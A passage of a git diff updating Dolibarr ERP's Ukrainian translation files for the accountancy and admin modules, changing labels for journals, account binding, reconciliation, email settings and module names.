      The exported ZIP file will contain the lists of requested items in CSV, as well as their attached files in their original format (PDF, ODT, DOCX...). ExportAccountingSourceDocHelp2=Щоб експортувати свої журнали, використовуйте пункт меню %s - %s. +ExportAccountingProjectHelp=Specify a project if you need an accounting report only for a specific project. Expense reports and loan payments are not included in project reports. VueByAccountAccounting=Переглянути за обліковим записом VueBySubAccountAccounting=Перегляд за бухгалтерським субрахунком @@ -58,6 +59,7 @@ MainAccountForSuppliersNotDefined=Основний обліковий запис MainAccountForUsersNotDefined=Основний обліковий запис для користувачів, не визначених під час налаштування MainAccountForVatPaymentNotDefined=Основний рахунок для сплати ПДВ не визначено в налаштуваннях MainAccountForSubscriptionPaymentNotDefined=Основний обліковий запис для оплати передплати не визначено в налаштуваннях +UserAccountNotDefined=Accounting account for user not defined in setup AccountancyArea=Зона обліку AccountancyAreaDescIntro=Використання облікового модуля здійснюється в декілька кроків: @@ -99,7 +101,8 @@ ShowAccountingAccount=Показати бухгалтерський рахуно ShowAccountingJournal=Показати бухгалтерський журнал ShowAccountingAccountInLedger=Показати бухгалтерський рахунок у книзі ShowAccountingAccountInJournals=Показати бухгалтерський облік у журналах -AccountAccountingSuggest=Запропоновано бухгалтерський рахунок +DataUsedToSuggestAccount=Data used to suggest account +AccountAccountingSuggest=Account suggested MenuDefaultAccounts=Облікові записи за замовчуванням MenuBankAccounts=Банківські рахунки MenuVatAccounts=ПДВ рахунки @@ -124,6 +127,7 @@ WriteBookKeeping=Записати операції в бухгалтерсько Bookkeeping=Головна книга BookkeepingSubAccount=Підкнига AccountBalance=Баланс +AccountBalanceSubAccount=Sub-accounts balance ObjectsRef=Посилання на вихідний об'єкт CAHTF=Загальна сума закупівлі постачальника до оподаткування TotalExpenseReport=Звіт про загальні витрати @@ -163,40 +167,45 @@ ACCOUNTANCY_COMBO_FOR_AUX=Увімкнути комбінований списо ACCOUNTING_DATE_START_BINDING=Визначте дату початку зв’язування та перенесення в бухгалтерію. Нижче цієї дати операції не будуть передані до бухгалтерського обліку. ACCOUNTING_DEFAULT_PERIOD_ON_TRANSFER=On accountancy transfer, what is the period selected by default -ACCOUNTING_SELL_JOURNAL=Sell journal -ACCOUNTING_PURCHASE_JOURNAL=Purchase journal -ACCOUNTING_MISCELLANEOUS_JOURNAL=Miscellaneous journal +ACCOUNTING_SELL_JOURNAL=Sales journal (sales and returns) +ACCOUNTING_PURCHASE_JOURNAL=Purchase journal (purchase and returns) +ACCOUNTING_BANK_JOURNAL=Cash journal (receipts and disbursements) ACCOUNTING_EXPENSEREPORT_JOURNAL=Expense report journal -ACCOUNTING_SOCIAL_JOURNAL=Social journal +ACCOUNTING_MISCELLANEOUS_JOURNAL=General journal ACCOUNTING_HAS_NEW_JOURNAL=Має новий журнал +ACCOUNTING_INVENTORY_JOURNAL=Inventory journal +ACCOUNTING_SOCIAL_JOURNAL=Social journal ACCOUNTING_RESULT_PROFIT=Облік результатів (прибуток) ACCOUNTING_RESULT_LOSS=Облік результатів (збиток) ACCOUNTING_CLOSURE_DEFAULT_JOURNAL=Журнал закриття -ACCOUNTING_ACCOUNT_TRANSFER_CASH=Бухгалтерський рахунок перехідного банківського переказу +ACCOUNTING_ACCOUNT_TRANSFER_CASH=Account (from the Chart Of Account) to be used as the account for transitional bank transfers TransitionalAccount=Перехідний рахунок банківського переказу -ACCOUNTING_ACCOUNT_SUSPENSE=Бухгалтерський рахунок очікування -DONATION_ACCOUNTINGACCOUNT=Обліковий рахунок для реєстрації пожертв -ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Обліковий запис для реєстрації підписок +ACCOUNTING_ACCOUNT_SUSPENSE=Account (from the Chart Of Account) to be used as the account for unallocated funds either received or paid i.e. funds in "wait[ing]" +DONATION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register donations (Donation module) +ADHERENT_SUBSCRIPTION_ACCOUNTINGACCOUNT=Account (from the Chart Of Account) to be used to register memberships subscriptions (Membership module - if membership recorded without invoice) -ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Обліковий рахунок за замовчуванням для реєстрації депозиту клієнта +ACCOUNTING_ACCOUNT_CUSTOMER_DEPOSIT=Account (from the Chart Of Account) to be used as the default account to register customer deposit UseAuxiliaryAccountOnCustomerDeposit=Store customer account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_SUPPLIER_DEPOSIT=Account (from the Chart Of Account) to be used as the default +UseAuxiliaryAccountOnSupplierDeposit=Store supplier account as individual account in subsidiary ledger for lines of down payments (if disabled, individual account for down payment lines will remain empty) +ACCOUNTING_ACCOUNT_CUSTOMER_RETAINED_WARRANTY=Accounting account by default to register customer retained warranty -ACCOUNTING_PRODUCT_BUY_ACCOUNT=Обліковий рахунок за замовчуванням для купленої продукції (використовується, якщо не визначено в товарному аркуші) -ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Обліковий рахунок за замовчуванням для купленої продукції в ЄЕС (використовується, якщо не визначено в товарному аркуші) -ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Обліковий рахунок за замовчуванням для придбаної продукції та імпортованої за межі ЄЕС (використовується, якщо не визначено в товарному аркуші) -ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Обліковий рахунок за замовчуванням для проданої продукції (використовується, якщо не визначено в товарному аркуші) -ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Обліковий рахунок за замовчуванням для продуктів, що продаються в ЄЕС (використовується, якщо не визначено в товарному аркуші) -ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Обліковий рахунок за замовчуванням для продукції, що продається та експортується за межі ЄЕС (використовується, якщо не визначено в товарному аркуші) +ACCOUNTING_PRODUCT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased within same country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products purchased and imported from any other foreign country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold products (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold from EEC to another EEC country (used if not defined in the product sheet) +ACCOUNTING_PRODUCT_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the products sold and exported to any other foreign country (used if not defined in the product sheet) -ACCOUNTING_SERVICE_BUY_ACCOUNT=Обліковий рахунок за замовчуванням для придбаних послуг (використовується, якщо не визначено в сервісному листі) -ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Обліковий рахунок за замовчуванням для придбаних послуг в ЄЕС (використовується, якщо не визначено в сервісному листі) -ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Обліковий рахунок за замовчуванням для придбаних послуг та імпортованих за межі ЄЕС (використовується, якщо не визначено в сервісному листі) -ACCOUNTING_SERVICE_SOLD_ACCOUNT=Обліковий рахунок за замовчуванням для проданих послуг (використовується, якщо не визначено в сервісному листі) -ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Обліковий запис за замовчуванням для послуг, що продаються в ЄЕС (використовується, якщо не визначено в сервісному листі) -ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Обліковий запис за замовчуванням для послуг, що продаються та експортуються за межі ЄЕС (використовується, якщо не визначено в сервісному аркуші) +ACCOUNTING_SERVICE_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased within same country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_BUY_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services purchased and imported from other foreign country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the sold services (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_INTRA_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold from EEC to another EEC country (used if not defined in the service sheet) +ACCOUNTING_SERVICE_SOLD_EXPORT_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for the services sold and exported to any other foreign country (used if not defined in the service sheet) Doctype=Type of document Docdate=Date @@ -211,7 +220,8 @@ Codejournal=Journal JournalLabel=Етикетка журналу NumPiece=Номер штуки TransactionNumShort=Кількість транзакції -AccountingCategory=Спеціальна група +AccountingCategory=Custom group of accounts +AccountingCategories=Custom groups of accounts GroupByAccountAccounting=Групувати за рахунками Головної книги GroupBySubAccountAccounting=Групувати за рахунками підкниги AccountingAccountGroupsDesc=Тут можна визначити кілька груп облікових рахунків. Вони будуть використовуватися для персоніфікованих бухгалтерських звітів. @@ -259,19 +269,20 @@ ShowSubtotalByGroup=Показати проміжний підсумок за р Pcgtype=Група рахунку PcgtypeDesc=Групи облікових записів використовуються як попередньо визначені критерії «фільтра» та «групування» для деяких бухгалтерських звітів. Наприклад, «ДОХОД» або «ВИТРАТ» використовуються як групи для обліку рахунків продуктів для побудови звіту про витрати/доходи. +AccountingCategoriesDesc=Custom group of accounts can be used to group accounting accounts into one name to ease filter use or building of custom reports. Reconcilable=Примирений TotalVente=Total turnover before tax TotalMarge=Total sales margin -DescVentilCustomer=Перегляньте тут список рядків рахунків-фактур клієнта, прив’язаних (або ні) до облікового запису продукту -DescVentilMore=У більшості випадків, якщо ви використовуєте попередньо визначені продукти чи послуги та встановите номер рахунку на картці продукту/послуги, програма зможе зробити всі прив’язки між вашими рядками рахунків-фактур та обліковим рахунком вашого плану рахунків лише в одним натисканням кнопки "%s" . Якщо обліковий запис не було встановлено на картках продуктів/послуг або якщо у вас все ще є рядки, не прив’язані до облікового запису, вам доведеться зробити прив’язку вручну з меню « %s «. -DescVentilDoneCustomer=Ознайомтеся зі списком рядків рахунків-фактур клієнтів та їх обліковим записом продукції -DescVentilTodoCustomer=Прив’язуйте рядки рахунків-фактур, які ще не зв’язані з обліковим записом продукту -ChangeAccount=Змініть обліковий запис обліку продуктів/послуг для вибраних рядків на такий обліковий запис: +DescVentilCustomer=Consult here the list of customer invoice lines bound (or not) to a product account from chart of account +DescVentilMore=In most cases, if you use predefined products or services and you set the account (from chart of account) on the product/service card, the application will be able to make all the binding between your invoice lines and the accounting account of your chart of accounts, just in one click with the button "%s". If account was not set on product/service cards or if you still have some lines not bound to an account, you will have to make a manual binding from the menu "%s". +DescVentilDoneCustomer=Consult here the list of the lines of invoices customers and their product account from chart of account +DescVentilTodoCustomer=Bind invoice lines not already bound with a product account from chart of account +ChangeAccount=Change the product/service account (from chart of account) for the selected lines with the following account: Vide=- -DescVentilSupplier=Ознайомтеся зі списком рядків рахунків-фактур постачальника, прив’язаних або ще не прив’язаних до облікового запису продукту (відображаються лише записи, які ще не передані в бухгалтерії) +DescVentilSupplier=Consult here the list of vendor invoice lines bound or not yet bound to a product account from chart of account (only record not already transfered in accountancy are visible) DescVentilDoneSupplier=Ознайомтеся зі списком рядків рахунків-фактур постачальників та їх бухгалтерського обліку DescVentilTodoExpenseReport=Прив’язати рядки звіту про витрати, які ще не зв’язані з рахунком обліку комісій DescVentilExpenseReport=Ознайомтеся зі списком рядків звіту про витрати, прив’язаних (або ні) до рахунку обліку комісій @@ -283,20 +294,21 @@ DescClosure=Consult here the number of movements by month not yet validated & lo OverviewOfMovementsNotValidated=Огляд переміщень не підтверджених і заблокованих AllMovementsWereRecordedAsValidated=Усі рухи були зафіксовані як підтверджені та заблоковані NotAllMovementsCouldBeRecordedAsValidated=Не всі переміщення можна записати як підтверджені та заблоковані -ValidateMovements=Перевірити та заблокувати запис... +ValidateMovements=Validate and lock movements... DescValidateMovements=Будь-яка зміна чи видалення записів, написів та видалення буде заборонено. Усі записи для вправи мають бути підтверджені, інакше закриття буде неможливим ValidateHistory=Прив’язувати автоматично AutomaticBindingDone=Автоматичне прив’язування виконано (%s) – Автоматичне прив’язування неможливе для деяких записів (%s) +DoManualBindingForFailedRecord=You have to do a manual link for the %s row(s) not linked automatically. -ErrorAccountancyCodeIsAlreadyUse=Error, you cannot delete this accounting account because it is used +ErrorAccountancyCodeIsAlreadyUse=Error, you cannot remove or disable this account of chart of account because it is used MvtNotCorrectlyBalanced=Movement not correctly balanced. Debit = %s & Credit = %s Balancing=Балансування FicheVentilation=Картка для прив'язки GeneralLedgerIsWritten=Операції записуються в Книгу GeneralLedgerSomeRecordWasNotRecorded=Деякі транзакції не вдалося зареєструвати. Якщо немає іншого повідомлення про помилку, це, ймовірно, тому, що вони вже були внесені в журнал. NoNewRecordSaved=Більше немає запису для передачі -ListOfProductsWithoutAccountingAccount=Список продуктів, не прив'язаних до жодного бухгалтерського рахунку +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Змінити прив'язку Accounted=Облік у книзі NotYetAccounted=На бухгалтерію ще не передано @@ -319,9 +331,10 @@ AccountingJournalType1=Різні операції AccountingJournalType2=Продажі AccountingJournalType3=Покупки AccountingJournalType4=банк -AccountingJournalType5=Звіт про витрати +AccountingJournalType5=Expense reports AccountingJournalType8=Інвентаризація AccountingJournalType9=Має-новий +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=Цим журналом вже користуються AccountingAccountForSalesTaxAreDefinedInto=Примітка. Обліковий рахунок податку з продажів визначається в меню %s - %s a09f14fz NumberOfAccountancyEntries=Кількість записів @@ -329,10 +342,14 @@ NumberOfAccountancyMovements=Кількість рухів ACCOUNTING_DISABLE_BINDING_ON_SALES=Вимкнути прив'язку та переказ в бухгалтерії по продажам (рахунки клієнта в обліку не враховуватимуться) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Вимкнути прив'язку та переказ в обліку закупівель (рахунки постачальника не будуть враховуватися в обліку) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Вимкнути прив'язку та перенесення в бухгалтерії у звітах про витрати (звіти про витрати не враховуватимуться в бухгалтерії) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting +ACCOUNTING_ENABLE_AUTOLETTERING=Enable the automatic lettering when transferring to accounting ## Export +NotExportLettering=Do not export the lettering when generating the file NotifiedExportDate=Позначте експортовані рядки як експортовані (щоб змінити рядок, вам потрібно буде видалити всю транзакцію та повторно перенести її в облік) -NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "Closure" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +NotifiedExportFull=Export documents ? DateValidationAndLock=Перевірка дати та блокування ConfirmExportFile=Підтвердження створення файлу експорту бухгалтерського обліку? ExportDraftJournal=Експортувати чернетку журналу @@ -389,7 +406,7 @@ SaleLocal=Місцевий розпродаж SaleExport=Продаж на експорт SaleEEC=Продаж в ЄЕС SaleEECWithVAT=Продаж в ЄЕС з ПДВ не є нульовим, тому ми припускаємо, що це НЕ внутрішньокомунальний продаж, а запропонований обліковий запис є стандартним рахунком продукту. -SaleEECWithoutVATNumber=Продаж в ЄЕС без ПДВ, але ідентифікаційний номер платника ПДВ третьої сторони не визначений. Ми повертаємось до облікового запису продукту для стандартних продажів. За потреби ви можете виправити ідентифікаційний номер платника ПДВ третьої сторони або обліковий запис продукту. +SaleEECWithoutVATNumber=Sale in EEC with no VAT but the VAT ID of thirdparty is not defined. We fall back on the account for standard sales. You can fix the VAT ID of the thirdparty, or change the product account suggested for binding if needed. ForbiddenTransactionAlreadyExported=Заборонено: трансакцію підтверджено та/або експортовано. ForbiddenTransactionAlreadyValidated=Заборонено: трансакцію підтверджено. ## Dictionary @@ -398,7 +415,11 @@ Calculated=Розраховано Formula=Формула ## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual Unlettering=Не погоджуватись +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual AccountancyNoLetteringModified=Звірка не змінена AccountancyOneLetteringModifiedSuccessfully=Одне узгодження успішно змінено AccountancyLetteringModifiedSuccessfully=%s узгодженнь успішно змінено @@ -407,8 +428,9 @@ AccountancyOneUnletteringModifiedSuccessfully=Одне неузгодження AccountancyUnletteringModifiedSuccessfully=%s неузгодженнь успішно змінено ## Confirm box -ConfirmMassUnlettering=Підтвердження масового неузгодження -ConfirmMassUnletteringQuestion=Ви впевнені, що хочете скасувати узгодження вибраних записів %s? +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? ConfirmMassDeleteBookkeepingWriting=Підтвердження масового видалення ConfirmMassDeleteBookkeepingWritingQuestion=Це призведе до видалення транзакції з обліку (усі рядки, пов’язані з тією ж транзакцією, будуть видалені). Ви впевнені, що хочете видалити вибраний запис(и) %s? @@ -428,6 +450,7 @@ AccountancyErrorMismatchLetterCode=Невідповідність коду уз AccountancyErrorMismatchBalanceAmount=Залишок (%s) не дорівнює 0 AccountancyErrorLetteringBookkeeping=Сталися помилки щодо транзакцій: %s ErrorAccountNumberAlreadyExists=The accounting number %s already exists +ErrorArchiveAddFile=Can't put "%s" file in archive ## Import ImportAccountingEntries=Бухгалтерські проводки @@ -454,6 +477,7 @@ FECFormatMulticurrencyCode=Мультивалютний код (Idevise) DateExport=Експорт дати WarningReportNotReliable=Попередження, цей звіт не базується на Книзі, тому не містить транзакції, змінені вручну в Книзі. Якщо ваша журнальність оновлена, бухгалтерський облік буде точнішим. ExpenseReportJournal=Журнал звітів про витрати -InventoryJournal=Інвентарний журнал +DocsAlreadyExportedAreExcluded=Docs already exported are excluded +ClickToHideAlreadyExportedLines=Click to hide already exported lines NAccounts=%s облікові записи diff --git a/htdocs/langs/uk_UA/admin.lang b/htdocs/langs/uk_UA/admin.lang index 733c3d9a009..6b054ec84f0 100644 --- a/htdocs/langs/uk_UA/admin.lang +++ b/htdocs/langs/uk_UA/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Співставлення клієнта WarningModuleNotActive=Модуль %s повинен бути активованим WarningOnlyPermissionOfActivatedModules=Тут відображаються лише дозволи, пов'язані з активованими модулями. Ви можете активувати інші модулі на сторінці Головна-> Налаштування-> Модулі. DolibarrSetup=Установка або оновлення Dolibarr -InternalUser=Внутрішній користувач -ExternalUser=Зовнішній користувач InternalUsers=Внутрішні користувачі ExternalUsers=Зовнішні користувачі UserInterface=Інтерфейс користувача @@ -147,6 +145,7 @@ Box=Віджет Boxes=Віджети MaxNbOfLinesForBoxes=Макс. кількість рядків для віджетів AllWidgetsWereEnabled=Усі доступні віджети ввімкнено +WidgetAvailable=Widget available PositionByDefault=Порядок за замовчуванням Position=Позиція MenusDesc=Менеджери меню встановлюють вміст двох рядків меню (горизонтального та вертикального). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS сервер (значення за замов MAIN_MAIL_SMTP_PORT_NotAvailableOnLinuxLike=Порт SMTP/SMTPS (Не визначено в PHP для Unix-подібних систем) MAIN_MAIL_SMTP_SERVER_NotAvailableOnLinuxLike=SMTP/SMTPS сервер (Не визначено в PHP для Unix-подібних систем) MAIN_MAIL_EMAIL_FROM=Відправник електронної пошти для автоматичних електронних листів (значення за замовчуванням у php.ini: %s ) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Електронний лист, який використовується для повернення повідомлень про помилку (поле "Errors-To" в надісланих електронних листах) MAIN_MAIL_AUTOCOPY_TO= Копія (Bcc) усіх листів надсилати до MAIN_DISABLE_ALL_MAILS=Вимкнути надсилання всіх електронної пошти (для тестових цілей або демонстрацій) @@ -375,7 +375,7 @@ DoTestSendHTML=Тест надсилання HTML ErrorCantUseRazIfNoYearInMask=Помилка, не можна використовувати параметр @ для скидання лічильника щороку, якщо послідовність {yy} або {yyyy} відсутня в масці. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Помилка, не можна використовувати варіант @, якщо послідовність {yy} {mm} або {yyyy} {mm} не в масці. UMask=Параметр UMask для нових файлів у файловій системі Unix/Linux/BSD/Mac. -UMaskExplanation=Цей параметр дозволяє визначити дозволи, встановлені за замовчуванням для файлів, створених Dolibarr на сервері (наприклад, під час завантаження).
      Це має бути вісімкове значення (наприклад, 0666 означає читання та запис для всіх).
      Цей параметр не потрібний на сервері Windows. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Погляньте на сторінку Wiki, щоб ознайомитись зі списком учасників та їх організацією UseACacheDelay= Затримка для кешування відповіді експорту в секундах (0 або порожньо щоб не кешувати) DisableLinkToHelpCenter=Приховати посилання " Потрібна допомога або підтримка " на сторінці входу @@ -439,8 +439,10 @@ Unique=Унікальне Boolean=Булеве (один прапорець) ExtrafieldPhone = Телефон ExtrafieldPrice = іна +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Адреса URL +ExtrafieldIP = IP ExtrafieldSelect = Список вибору ExtrafieldSelectList = Вибір з таблиці ExtrafieldSeparator=Роздільник (не поле) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Прапорці ExtrafieldCheckBoxFromList=Прапорці з таблиці ExtrafieldLink=Посилання на об'єкт ComputedFormula=Обчислюване поле -ComputedFormulaDesc=Ви можете ввести сюди формулу, що використовує інші значення об'єктів або будь-який PHP код для отримання динамічно обчислюваного поля. Можна використовувати будь-які PHP формули,в тому числі й перевірки з оператором "?", використовувати глобальні об'єкти: $db, $conf, $langs, $mysoc, $user, $object.
      УВАГА: Доступні не всі поля $object. Якщо необхідні Вам поля не завантажені, Просто заберіть об'єкт у формулу, як показано в наступному зразку.
      Використовуючи обчислювані поля, не вводьте нічого самостійно у інтерфейсі форми. Також, якщо присутні синтаксичні помилки, формула не поверне нічого.

      Зразок формули:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Зразок перевантаження об'єкта:
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Інший зразок формули для прискореного завантаження обєкта та його контейнера:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Зберегти обчислюване поле ComputedpersistentDesc=Обчислювальні поля будуть збережені в базі, тому значення буде перераховане лише тоді, коли об'єкт з цим полем буде змінено. Якщо обчислюване поле залежить від інших об'єктів, або глобальних даних - це значення може бути не правильним! ExtrafieldParamHelpPassword=Залишивши це поле порожнім, це значення буде зберігатися без шифрування (поле буде приховане лише зірочками на екрані).
      Виберіть значення "Авто", щоб використовувати стандартне правило для шифрування паролів у базі даних (в такому випадку буде зчитуватися лише хеш, без можливості відновити оригінальне значення) @@ -477,7 +479,7 @@ InstalledInto=Встановлено в каталог %s BarcodeInitForThirdparties=Масова ініціалізація штрих-коду для третіх сторін BarcodeInitForProductsOrServices=Масове ініціювання або скидання штрих-коду для продуктів або послуг CurrentlyNWithoutBarCode=На даний момент у вас є запис %s на %s a0a65d071f6fc9z, визначений без barcode a0a65d071f6fc9z2. -InitEmptyBarCode=Init value for next %s empty records +InitEmptyBarCode=Init value for the %s empty barcodes EraseAllCurrentBarCode=Стерти всі поточні значення штрих-коду ConfirmEraseAllCurrentBarCode=Ви впевнені, що хочете стерти всі поточні значення штрих-коду? AllBarcodeReset=Усі значення штрих-коду видалено @@ -501,7 +503,8 @@ WarningPHPMail=ПОПЕРЕДЖЕННЯ. Налаштування для над WarningPHPMailA=- Використання сервера постачальника послуг електронної пошти підвищує надійність вашої електронної пошти, тому збільшує доставку, не позначаючись як СПАМ WarningPHPMailB=- Деякі постачальники послуг електронної пошти (наприклад, Yahoo) не дозволяють надсилати електронні листи з іншого сервера, ніж їх власний сервер. Ваші поточні налаштування використовує сервер програми для надсилання електронної пошти, а не сервер вашого постачальника послуг електронної пошти, тому деякі одержувачі (сумісний з обмежувальним протоколом DMARC) запитуватимуть вашого постачальника електронної пошти, чи можуть вони прийняти вашу електронну пошту та деякі постачальники електронної пошти. (наприклад, Yahoo) може відповісти "ні", тому що сервер не належить їм, тому деякі з ваших надісланих електронних листів можуть не прийматися для доставки (також будьте обережні щодо квоти надсилання вашого постачальника послуг електронної пошти). WarningPHPMailC=- Використання SMTP-сервера вашого власного постачальника послуг електронної пошти для надсилання електронних листів також є цікавим, тому всі листи, надіслані з програми, також будуть збережені у вашому каталозі «Відправлені» вашої поштової скриньки. -WarningPHPMailD=Тому рекомендується змінити метод надсилання електронних листів на значення «SMTP». Якщо ви дійсно хочете зберегти метод «PHP» за замовчуванням для надсилання електронних листів, просто проігноруйте це попередження або видаліть його, встановивши для константи MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP значення 1 у розділі «Домашня сторінка» - «Налаштування» - «Інше». +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=Якщо вашому постачальнику послуг електронної пошти SMTP потрібно обмежити клієнта електронної пошти деякими IP-адресами (дуже рідко), це IP-адреса поштового агента користувача (MUA) для вашої програми ERP CRM: %s . WarningPHPMailSPF=Якщо доменне ім’я у вашій адресі електронної пошти відправника захищене записом SPF (запитайте ваш реєстр доменних імен), ви повинні додати такі IP-адреси в SPF-запис DNS вашого домену: %s . ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Приклад:
      Для форми дл PageUrlForDefaultValuesList=
      Приклад:
      Для сторінки, яка містить перелік третіх сторін, це %s .
      Для URL-адрес зовнішніх модулів, встановлених у користувацькому каталозі, не включайте "custom/", тому використовуйте шлях, наприклад mymodule/mypagelist.php , а не custom/mymodule/mypagelist.php.
      Якщо ви хочете значення за замовчуванням, лише якщо URL-адреса має якийсь параметр, ви можете використовувати %s AlsoDefaultValuesAreEffectiveForActionCreate=Також зауважте, що перезапис значень за замовчуванням для створення форми працює лише для сторінок, які були правильно розроблені (тому з параметром action=create або presen...) EnableDefaultValues=Увімкнути налаштування значень за замовчуванням -EnableOverwriteTranslation=Увімкнути використання перезаписаного перекладу +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=Знайдено переклад для ключа з цим кодом. Щоб змінити це значення, ви повинні відредагувати його з Home-Setup-translation. WarningSettingSortOrder=Попередження, встановлення порядку сортування за замовчуванням може призвести до технічної помилки під час переходу на сторінку списку, якщо поле є невідомим полем. Якщо у вас виникла така помилка, поверніться на цю сторінку, щоб видалити порядок сортування за замовчуванням і відновити поведінку за замовчуванням. Field=Поле @@ -643,11 +646,13 @@ Module2300Name=Заплановані роботи Module2300Desc=Керування запланованими завданнями (псевдонім cron або chrono table) Module2400Name=Події/Порядок денний Module2400Desc=Відстежуйте події. Записуйте автоматичні події з метою відстеження або записуйте події чи зустрічі вручну. Це основний модуль для хорошого управління відносинами з клієнтами або постачальниками. +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Система документообігу / Управління електронним вмістом. Автоматична організація створених або збережених документів. Поділіться ними, коли вам потрібно. -Module2600Name=API/веб-служби (сервер SOAP) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Увімкніть SOAP-сервер Dolibarr, який надає послуги API -Module2610Name=API/веб-служби (сервер REST) +Module2610Name=API / Web services (REST server) Module2610Desc=Увімкніть сервер Dolibarr REST, який надає послуги API Module2660Name=Виклик WebServices (клієнт SOAP) Module2660Desc=Увімкнути клієнт веб-сервісів Dolibarr (може використовуватися для надсилання даних/запитів на зовнішні сервери. Наразі підтримуються лише замовлення на 